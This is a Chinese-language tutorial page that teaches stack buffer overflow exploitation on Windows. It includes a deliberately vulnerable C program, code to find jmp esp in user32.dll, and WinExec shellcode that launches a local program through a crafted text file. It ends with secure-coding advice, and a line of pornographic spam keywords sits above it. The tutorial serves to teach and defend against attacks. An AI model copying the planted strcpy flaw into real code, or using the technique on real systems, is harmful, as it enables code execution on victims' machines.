18禁网站免费,成年人黄色视频网站,熟妇高潮一区二区在线播放,国产精品高潮呻吟AV

學(xué)習(xí)啦 > 學(xué)習(xí)電腦 > 電腦安全 > 病毒知識(shí) > 怎樣利用簡(jiǎn)單程序漏洞反病毒

怎樣利用簡(jiǎn)單程序漏洞反病毒

時(shí)間: 若木635 分享

怎樣利用簡(jiǎn)單程序漏洞反病毒

  電腦已經(jīng)走進(jìn)我們的生活,與我們的生活息息相關(guān),感覺已經(jīng)離不開電腦與網(wǎng)絡(luò),對(duì)于電腦病毒,今天小編在這里給大家推薦一些預(yù)防電腦病毒相關(guān)文章,歡迎大家圍觀參考,想了解更多,請(qǐng)繼續(xù)關(guān)注學(xué)習(xí)啦。

  一、前言

  大都數(shù)“病毒”都是可執(zhí)行文件(EXE格式),都是傳統(tǒng)意義上的惡意程序,它們?cè)诒挥脩綦p擊運(yùn)行后,就開始執(zhí)行自身代碼,實(shí)現(xiàn)相應(yīng)的功能,從而對(duì)用戶的計(jì)算機(jī)產(chǎn)生威脅。而這次我打算討論一種特殊的情況,也就是利用正常程序所存在的漏洞,僅僅通過(guò)文本文檔(TXT格式),來(lái)實(shí)現(xiàn)我們的對(duì)話框的啟動(dòng)。所以這篇文章的討論重點(diǎn)就在于簡(jiǎn)單的漏洞發(fā)掘以及運(yùn)用ShellCode實(shí)現(xiàn)漏洞的利用。在此不會(huì)討論復(fù)雜的情況,僅僅用淺顯的例子來(lái)說(shuō)明這些問(wèn)題,因?yàn)榧幢闶乾F(xiàn)實(shí)中的復(fù)雜情況,其基本原理是相似的。這也是為以后的篇章中討論更加復(fù)雜的情況打下基礎(chǔ)。

  二、編寫含有漏洞的程序

  在現(xiàn)今的軟件開發(fā)中,盡管程序員的水平在提高,編程技巧在不斷進(jìn)步,但是大部分人對(duì)于計(jì)算機(jī)安全的概念還是比較模糊的,真正掌握計(jì)算機(jī)安全技術(shù)的人畢竟還是少數(shù)。特別是計(jì)算機(jī)安全往往還涉及到系統(tǒng)底層原理、匯編甚至是機(jī)器碼,這就更加令人望而卻步。我在這里討論的就是一個(gè)含有漏洞的程序,它含有緩沖區(qū)溢出漏洞。緩沖區(qū)溢出攻擊是一種非常有效而常見的攻擊方法,在被發(fā)現(xiàn)的眾多漏洞中,它占了大部分。

  以下就是本次所研究的程序:

  #include #include

  #include #define PASSWORD "1234567890"

  int CheckPassword(char *pPassword)

  { int nCheckFlag;

  char szBuffer[30]; nCheckFlag = strcmp(pPassword, PASSWORD);

  strcpy(szBuffer, pPassword); //存在溢出漏洞 return nCheckFlag;

  }

  int main() {

  int nFlag = 0; char szPassword[1024];

  FILE *fp; LoadLibrary("user32.dll");

  if(!(fp=fopen("password.txt", "rw+"))) {

  return 0; }

  fscanf(fp,"%s",szPassword); nFlag=CheckPassword(szPassword);

  if(nFlag) {

  printf("Incorrect password!\n"); }

  else {

  printf("Correct password!\n"); }

  fclose(fp); getchar();

  return 0; }

  這里來(lái)講解一下程序的運(yùn)行流程。main函數(shù)中首先會(huì)打開當(dāng)前目錄下的password.txt文件,然后調(diào)用CheckPassword函數(shù),該函數(shù)會(huì)對(duì)從password.txt文件讀取出來(lái)的內(nèi)容與字符串“1234567890”進(jìn)行比較,用于驗(yàn)證密碼是否正確,之后將用戶所輸入的密碼拷貝到子函數(shù)自己創(chuàng)建的數(shù)組中,再返回到主函數(shù),最后對(duì)用戶所輸入的密碼是否正確進(jìn)行顯示。

  這個(gè)程序中之所以要用TXT文件來(lái)保存用戶輸入的密碼,就是為了方便之后的討論與觀察。而在子函數(shù)中將用戶輸入的密碼拷貝到一個(gè)數(shù)組中,僅僅是為了創(chuàng)造一個(gè)緩沖區(qū)溢出的漏洞,也是為了方便之后的討論。在現(xiàn)實(shí)中,可能難以出現(xiàn)這樣的情況。但是原理是一樣的,緩沖區(qū)溢出漏洞出現(xiàn)的原因就是因?yàn)闆]能檢測(cè)待拷貝數(shù)據(jù)的大小,而直接將該數(shù)據(jù)復(fù)制到另一個(gè)緩沖區(qū)中,從而使得惡意程序得到了攻擊的機(jī)會(huì)。

  三、漏洞原理的分析

  不論是對(duì)于本篇文章所討論的最簡(jiǎn)單的緩沖區(qū)溢出的漏洞,還是復(fù)雜的,可能會(huì)在未來(lái)的文章中討論的堆溢出以及SEH的利用,其核心可以說(shuō)都是利用了指針(或者說(shuō)是相應(yīng)的地址)來(lái)做文章。對(duì)于這次的程序來(lái)說(shuō),首先需要從反匯編的角度簡(jiǎn)單講一下程序的執(zhí)行原理。

  主函數(shù)中會(huì)調(diào)用CheckPassword函數(shù),那么在反匯編中,就需要找到調(diào)用該函數(shù)的位置,這個(gè)很簡(jiǎn)單:

  004010F3 E8 0DFFFFFF call 00401005

  之所以能很快確定函數(shù)的位置,是因?yàn)樗谠闯绦蛑芯驮趂scanf函數(shù)的后面,那么反匯編中,他的位置也在fscanf的后面。這里有必要簡(jiǎn)單說(shuō)一下call的實(shí)現(xiàn)原理。它分為兩步,第一步是向棧中壓入當(dāng)前指令在內(nèi)存中的位置,即保存返回地址(EIP所保存的地址,也就是call的下一條指令,EIP入棧);第二步是跳轉(zhuǎn)到所調(diào)用函數(shù)的入口處。進(jìn)入這個(gè)call,來(lái)到以下反匯編代碼處:

  00401020 55 push ebp 00401021 8BEC mov ebp,esp

  00401023 83EC 64 sub esp,64

  可以說(shuō)每一個(gè)函數(shù)的開始,其反匯編結(jié)果都是這么幾句。主要是三步:第一步需要保存當(dāng)前棧幀狀態(tài)值,以備后面恢復(fù)本棧幀時(shí)使用(EBP入棧);第二步將當(dāng)前棧幀切換到新棧(將ESP值裝入EBP,更新棧幀底部);第三步給新棧幀分配空間(把ESP減去所需空間的大小,抬高棧幀)。

  這里需要說(shuō)明的是,以上所分析的是程序的Debug版,如果是Release版,由于做了優(yōu)化,可能會(huì)有些不同,但也是遵循基本原理,在這里就不再對(duì)Release版進(jìn)行討論。

  現(xiàn)在來(lái)看看堆棧中的情況,按照內(nèi)存地址遞減的順序,EBP相比EIP位于內(nèi)存的低地址處,這兩個(gè)寄存器在棧中是挨著的。再來(lái)看看CheckPassword函數(shù)結(jié)尾處的反匯編代碼:

  0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp

  0040106F C3 retn

  可見這里首先將esp指向了當(dāng)前棧幀的棧底,之后從棧中彈出原始ebp的值,這樣就實(shí)現(xiàn)了恢復(fù)棧幀的操作。之后的retn語(yǔ)句,就是再次彈出棧頂?shù)闹?EIP),并轉(zhuǎn)去執(zhí)行EIP所指向的語(yǔ)句,也就是之前的call的下一條語(yǔ)句。

  分析至此,就可以發(fā)現(xiàn),我們可以通過(guò)修改EIP所保存的值(指令地址),來(lái)實(shí)現(xiàn)跳轉(zhuǎn)到我們自己的“病毒代碼”地址處的目的。當(dāng)然這里我不會(huì)利用反匯編工具進(jìn)行修改,而是直接運(yùn)用password.txt這個(gè)文本文檔來(lái)實(shí)現(xiàn)。

  四、定位EIP

  知道了漏洞利用的原理,那么接下來(lái)就需要確定EIP的位置。EIP的位置盡管可以通過(guò)反匯編工具獲得,但是在此我不想用這種簡(jiǎn)單的方法,而是運(yùn)用Windows的報(bào)錯(cuò)對(duì)話框?qū)崿F(xiàn)EIP的定位。當(dāng)EIP被覆蓋為一個(gè)無(wú)效地址后,系統(tǒng)就會(huì)提示出錯(cuò),報(bào)錯(cuò)對(duì)話框就能夠顯示出來(lái)究竟是哪個(gè)地址(EIP)出錯(cuò),這里可以通過(guò)一些小技巧來(lái)定位。

  當(dāng)然,每個(gè)人往往有自己認(rèn)為最好的定位方法,我個(gè)人比較喜歡的方法是運(yùn)用26個(gè)小寫字母連同26個(gè)大寫字母組成一長(zhǎng)串?dāng)?shù)據(jù)進(jìn)行測(cè)試,這樣一次性就能夠測(cè)試52個(gè)字節(jié)的長(zhǎng)度。具體方法是將這52個(gè)字母寫入password.txt文件,運(yùn)行程序查看是否報(bào)錯(cuò),如果不報(bào)錯(cuò),就再寫入52個(gè)字母,直至報(bào)錯(cuò)為止。幸運(yùn)的是,在這個(gè)程序中,前52個(gè)字母就使得報(bào)錯(cuò)對(duì)話框彈出了:

  從報(bào)錯(cuò)對(duì)話框中可以得知,EIP已經(jīng)被覆蓋為0x5251504f,通過(guò)查詢ASCII碼表可以得知,對(duì)應(yīng)的四個(gè)字母是OPQR(小端顯示,我這里反過(guò)來(lái)寫了),于是可知,EIP的位置就是password.txt文檔內(nèi)容的第41至第44個(gè)字節(jié)處。

  確定了EIP的位置,那么接下來(lái)就要確定應(yīng)當(dāng)給它賦以什么地址。這里當(dāng)然可以利用反匯編軟件在程序中尋找空余的位置,將代碼寫入,然后令EIP指向該代碼處。但是這里我打算用更加巧妙的方法——jmp esp。我們可以將EIP指向內(nèi)存中jmp esp的地址,然后將我們的程序的機(jī)器碼(ShellCode)順序從EIP處向下(地址高處)覆蓋,這樣jmp esp就能夠直接跳到我們的代碼處執(zhí)行了。

  首先編程序?qū)ふ襧mp esp:

  #include #include

  #include #define DLL_NAME "user32.dll"

  int main()

  { BYTE *ptr;

  int position,address; HINSTANCE handle;

  BOOL done_flag = FALSE; handle = LoadLibrary(DLL_NAME);

  if(!handle) {

  printf("load dll error!"); exit(0);

  } ptr = (BYTE*)handle;

  for(position = 0; !done_flag; position++)

  { try

  { if(ptr[position]==0xFF && ptr[position+1]==0xE4)

  { int address = (int)ptr + position;

  printf("OPCODE found at 0x%x\n", address); }

  } catch(...)

  { int address = (int)ptr + position;

  printf("END OF 0x%x\n", address); done_flag = true;

  } }

  return 0; }

  程序執(zhí)行結(jié)果如下:

  上述程序中是在user32.dll中尋找jmp esp的機(jī)器碼FFE4,會(huì)查找到很多的結(jié)果,選擇其中的一個(gè)就可以。這里需要特別說(shuō)明的是,不同的計(jì)算機(jī)不同的操作系統(tǒng)版本,所找到的jmp esp的地址可能會(huì)不一樣,就是說(shuō)jmp esp的地址往往并不是通用的。當(dāng)然,也會(huì)有幾個(gè)地址是跨版本的,這個(gè)在這里不討論。這次我們選擇截圖中的第一個(gè)地址——0x77d93ac8。由于是小端顯示,所以應(yīng)當(dāng)在“OPQR”的位置反向書寫,即c83ad977。當(dāng)然這里不能夠直接用類似于記事本這樣的軟件進(jìn)行編輯,而是需要用十六進(jìn)制代碼編輯器操作。

  五、編寫ShellCode

  為了簡(jiǎn)單起見,我這里將“病毒”程序與上述漏洞程序放在同一目錄下,并且為了編寫方便,我這里將“病毒”名稱更改為Hack.exe。為了實(shí)現(xiàn)“病毒”的啟動(dòng),我不打算直接將“病毒”程序轉(zhuǎn)化為ShellCode,畢竟那樣的話工作量太大,而是編寫一個(gè)能夠啟動(dòng)“病毒”程序的ShellCode。這里我使用WinExec函數(shù)用于“病毒”的啟動(dòng),最后再用ExitProcess函數(shù)實(shí)現(xiàn)程序的正常退出。查詢這兩個(gè)函數(shù)句柄的代碼如下:

  #include #include

  typedef void (*MYPROC)(LPTSTR); int main()

  { HINSTANCE LibHandle;

  MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32");

  //獲取user32.dll的地址 printf("msvcrt LibHandle = //x%x\n", LibHandle);

  //獲取MessageBoxA的地址 ProcAdd=(MYPROC)GetProcAddress(LibHandle,"WinExec");

  printf("system = //x%x\n", ProcAdd);

  return 0; }

  運(yùn)行結(jié)果如下:

  上述程序首先需要知道被查詢函數(shù)所在的動(dòng)態(tài)鏈接庫(kù),先查出動(dòng)態(tài)鏈接庫(kù)的地址,之后利用這個(gè)地址,從而查詢相應(yīng)API函數(shù)的句柄??梢灾繵inExec的句柄為0x7c863231,那么同理,ExitProcess函數(shù)的句柄為0x7c81bfa2。

  至此,我們已經(jīng)獲得了足夠的信息,接下來(lái)就可以進(jìn)行ShellCode的編寫了,但是一般來(lái)說(shuō),我們不會(huì)特意去記憶十六進(jìn)制的機(jī)器碼,因此都是先寫出匯編程序,然后利用相應(yīng)的軟件通過(guò)轉(zhuǎn)換,從而查看其機(jī)器碼。具體的方法有很多,我還是比較傾向于在VC++6.0中以內(nèi)嵌匯編語(yǔ)言的形式進(jìn)行編寫:

  _asm {

  xor ebx,ebx push ebx

  push 0x6578652e push 0x6b636148

  mov eax,esp ;壓入字符Hack.exe

  push ebx push eax

  mov eax,0x7c863231 call eax ;調(diào)用WinExec函數(shù)

  push ebx

  mov eax,0x7c81bfa2 call eax ;調(diào)用ExitProcess函數(shù)

  }

  這里需要把a(bǔ)sm中的內(nèi)容轉(zhuǎn)化為機(jī)器碼,VC++6.0就可以實(shí)現(xiàn)(也可以使用其它反匯編軟件)。利用十六進(jìn)制文件編輯器,將提取出來(lái)的機(jī)器碼直接填寫進(jìn)password.txt中EIP的后面。

  這里要說(shuō)明的是,盡管以上僅僅是調(diào)用了非常簡(jiǎn)單的函數(shù),但是實(shí)際上,不管是什么函數(shù),其調(diào)用原理和上面是一樣的,都是首先需要把參數(shù)從右至左入棧,然后call該函數(shù)所在的地址。為了增強(qiáng)可移植性,可以利用TEB獲取相關(guān)函數(shù)的句柄,從而編寫出通用性極高的ShellCode出來(lái)(這些高級(jí)方法可能會(huì)在以后的文章中討論)。由此可見,漏洞可以很容易被惡意程序所利用。

  當(dāng)編輯完password.txt后,運(yùn)行CheckPassword.exe程序,結(jié)果如下圖所示:

  由此可見,僅僅是通過(guò)修改password.txt就能夠在神不知鬼不覺的情況下實(shí)現(xiàn)病毒的啟動(dòng)(盡管這一過(guò)程有諸多限制)。而這里所用到的WinExec函數(shù)也多用于“下載者”中,它是一種功能單一的惡意程序,能夠令受害的計(jì)算機(jī)到黑客指定的URL地址去下載更多的惡意程序并運(yùn)行。“下載者”體積小,易于傳播,當(dāng)它下載到病毒木馬后,通常就使用諸如WinExec這樣的函數(shù)來(lái)運(yùn)行病毒。

  六、“病毒”的防范

  漏洞的發(fā)掘與利用是一個(gè)較為高深的話題,在現(xiàn)實(shí)中,其發(fā)掘的難度是遠(yuǎn)遠(yuǎn)高于我在這里所舉的例子的。高明的黑客手中往往掌握著一些不被軟件生產(chǎn)廠家所知道的漏洞,他們利用這些軟件漏洞,往往就能夠?yàn)樗麨?。所以,這就要求我們培養(yǎng)良好的安全編碼習(xí)慣。在上述例子中,漏洞的出現(xiàn)就是因?yàn)槭褂昧藄trcpy函數(shù),更具體來(lái)說(shuō),因?yàn)槲覀儧]有對(duì)將要復(fù)制到緩沖區(qū)中的數(shù)據(jù)進(jìn)行長(zhǎng)度檢驗(yàn),導(dǎo)致了EIP被非法覆蓋,跳去了不應(yīng)該去的位置,執(zhí)行了不該執(zhí)行的代碼?,F(xiàn)實(shí)中的漏洞往往也是這個(gè)道理。所以在這種情況下,應(yīng)當(dāng)事先檢驗(yàn)數(shù)據(jù)的長(zhǎng)度,至少將strcpy替換成strncpy,盡管后者也存在危險(xiǎn),但至少會(huì)按照編程者要求的數(shù)據(jù)量的大小來(lái)拷貝數(shù)據(jù),這就安全多了。當(dāng)然我們系統(tǒng)版本的不斷升級(jí),在安全性方面也會(huì)不斷進(jìn)步。比如加入的Security Cookie就能夠較好地對(duì)緩沖區(qū)溢出的問(wèn)題進(jìn)行防范。不過(guò)這也不是絕對(duì)安全的,畢竟在攻與防的對(duì)立統(tǒng)一中,技術(shù)是不斷進(jìn)步的。但是歸根結(jié)底,只有在源頭上做足功夫,才會(huì)讓黑客們無(wú)從下手。

  七、小結(jié)

  本篇文章構(gòu)造了一個(gè)特殊的環(huán)境——存在漏洞的程序——實(shí)現(xiàn)了“病毒”的自啟動(dòng)。由于關(guān)于漏洞的知識(shí)體系比較龐大且較為高深,我也只能用這個(gè)簡(jiǎn)單的程序來(lái)讓大家看看冰山的一角。這里需要再次說(shuō)明的是,現(xiàn)實(shí)中漏洞的原理和利用方法可以說(shuō)和這個(gè)例子是差不多的?,F(xiàn)實(shí)中可能需要我們編寫出更為通用的ShellCode來(lái)實(shí)現(xiàn)我們想要完成的功能,這些會(huì)在以后的文章中進(jìn)行討論。本篇文章僅僅是為了打好基礎(chǔ),為未來(lái)更加高深的知識(shí)的探討做好準(zhǔn)備。

95163